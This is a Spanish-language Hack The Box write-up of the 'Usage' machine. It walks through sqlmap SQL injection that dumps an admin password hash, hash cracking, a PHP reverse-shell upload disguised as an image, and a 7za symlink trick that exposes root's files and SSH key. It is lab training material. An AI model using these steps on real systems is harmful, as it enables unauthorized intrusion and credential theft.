HTB Usage Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Usage de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.18
PING 10.10.11.18 (10.10.11.18) 56(84) bytes of data.
64 bytes from 10.10.11.18: icmp_seq=1 ttl=63 time=103 ms
--- 10.10.11.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 102.936/102.936/102.936/0.000 ms
Vemos que el ttl de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux.
Ahora vamos a identificar los puertos abiertos dentro de la máquina, los invito a usar el siguiente script hecho en bash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
GREEN="\e[32m"
RED="\e[31m"
RESET="\e[0m"
IP="$1"
if [ -z "$IP" ]; then
echo "Uso: $0 <IP>"
exit 1
fi
TEMP_FILE=$(mktemp)
echo -e "${GREEN}[+] Escaneando todos los puertos abiertos... ${RESET}"
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn "$IP" -oG "$TEMP_FILE"
# Extraer los puertos abiertos
PORTS=$(grep -oP '\d+/open' "$TEMP_FILE" | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//'; echo)
rm "$TEMP_FILE"
if [ -z "$PORTS" ]; then
echo -e "${RED}[-] No se encontraron puertos abiertos.${RESET}"
exit 1
fi
echo -e "\n${GREEN}[+] Escanenado servicios en los puertos: $PORTS. ${RESET}\n"
nmap -sCV -p"$PORTS" "$IP" -oN target
echo -e "\n${GREEN}[+] Escano completado. Resultados en 'target'.${RESET}\n"
De preferencia es mejor usar este script como root, ya que algunos parámetros de nmap, requieren de privilegios elevados. Esto al final nos va a generar un archivo target que contiene la información de los puertos abiertos dentro de la máquina.
1
sudo ./scan.sh 10.10.11.44
1
2
3
4
5
6
7
8
9
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Daily Blogs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Bueno, no tenemos información muy valiosa luego del escaneo. Así que usamos la herramienta whatweb para ver qué hay por el puerto 80.
1
2
3
4
whatweb 10.10.11.18
http://10.10.11.18 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.18], RedirectLocation[http://usage.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://usage.htb/ - no address for usage.htb
Vemos que nos redirige a un dominio, así que lo añadimos al /etc/hosts.
1
2
3
4
5
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.18 usage.htb
Si nos vamos a la web, nos encontramos ante un panel de inicio de sesión. Algo a destacar es que si colocamos el cursor sobre la palabra admin en la parte de abajo logramos ver un subdominio que lo agregaremos al /etc/hosts.
Pero también necesitamos credenciales para ingresar. En la web principal podemos registrarnos e iniciar sesión, pero no hay nada de interés.
Inyección SQL
Si nos damos cuenta, hay un apartado donde podemos recuperar la contraseña mediante un email. Luego de unas pruebas, veo que este es vulnerable a SQL Injection, así que para esto vamos a hacer uso de sqlmap. Primero capturamos la petición con BurpSuite y la guardamos en un archivo.
Primero vamos a ver las bases de datos.
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --batch --dbs
De aquí la de interés sería usage_blog.
1
2
3
4
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
Ahora vemos sus tablas.
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --batch -D usage_blog --tables
La tabla admin_users se ve ineteresante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
Vamos a ver las columnas.
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users --columns
Vemos username y password que sería lo interesante, así que vamos a dumpear eso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Database: usage_blog
Table: admin_users
[8 columns]
+----------------+
| Column |
+----------------+
| name |
| avatar |
| created_at |
| id |
| password |
| remember_token |
| updated_at |
| username |
+----------------+
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users -C username,password --dump
Vemos que solo esta el usuario admin y su contraseña encryptada.
1
2
3
4
5
6
7
8
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydv************************ |
+----------+--------------------------------------------------------------+
Ahora procedemos a romper el hash.
1
john --wordlist=diccionario.txt hash
Ganando acceso
Tratamos de usar ese usuario y su credencial para conectarnos por el subdominio encontrado previamente y vemos que es posible. Una vez dentro, estamos ante un panel en donde vemos algunas dependencias. Aquí la de interés sería laravel-admin en donde vemos una versión la cual tiene una vulnerabilidad. Si nos vamos a esta web, nos explican cómo explotarlo.
Lo primero que vamos a hacer es crear una revershel con ayuda de esta web, elegimos PHP PentestMonkey y lo guardamos en un archivo con extensión .jpg. Ahora nos vamos al apartado de configuración.
Ahora cargamos el archivo e interceptamos la petición con BurpSuite.
Aquí le agregamos la extensión .php a nuestro archivo y enviamos la petición.
Luego nos ponemos en escucha con netcat y en la esquina inferior de la “imagen” hay un apartado de desscargar, copiamos ese enlace y lo solicitamos en la web para que así nos envie nuestra revershel.
Una vez dentro de la máquina, hacemos el tratamiento de la tty
1
2
3
4
5
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
export TEMR=xterm
Y ya logramos ver la primera flag como nuestro usuario.
Movimiento lateral
Dentro de nuestro directorio personal de usuario hay un archivo un tanto diferente y al revisar su contenido vemos lo que parece ser una credencial. Haciendo uso de la misma, nos tratamos de conectar como el otro usuario y vemos que es posible
Escalada de privilegios
Ejecutando el comando sudo -l vemos un binario que puede ser ejecutado como root sin proporcionar contraseña. Analizando un poco este mismo, vemos que realiza un backup de /var/www/html.
1
2
3
strings /usr/bin/usage_management | grep 7z
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Bueno, lo que podemos hacer es crear un enlace simbólico que apunte al directorio /root y así logremos ver su contenido en el backup. Aquí nos explican cómo es esto posible por los parámetros usados por 7z.
Primero creamos el enlace simbólico.
1
ln -s /root /var/www/html/root
Ahora ejecutamos el binario y elegimos la opcción 1.
1
2
3
4
5
6
7
sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Por último descomprimimos la copia de seguridad.
1
7za x -y /var/backups/project.zip -o/tmp/.root root
Ahora nos podemos dirigir a esa ruta y vemos el contenido que hay en el directorio del usuario root y así podemos ver la última flag e incluso su id_rsa.







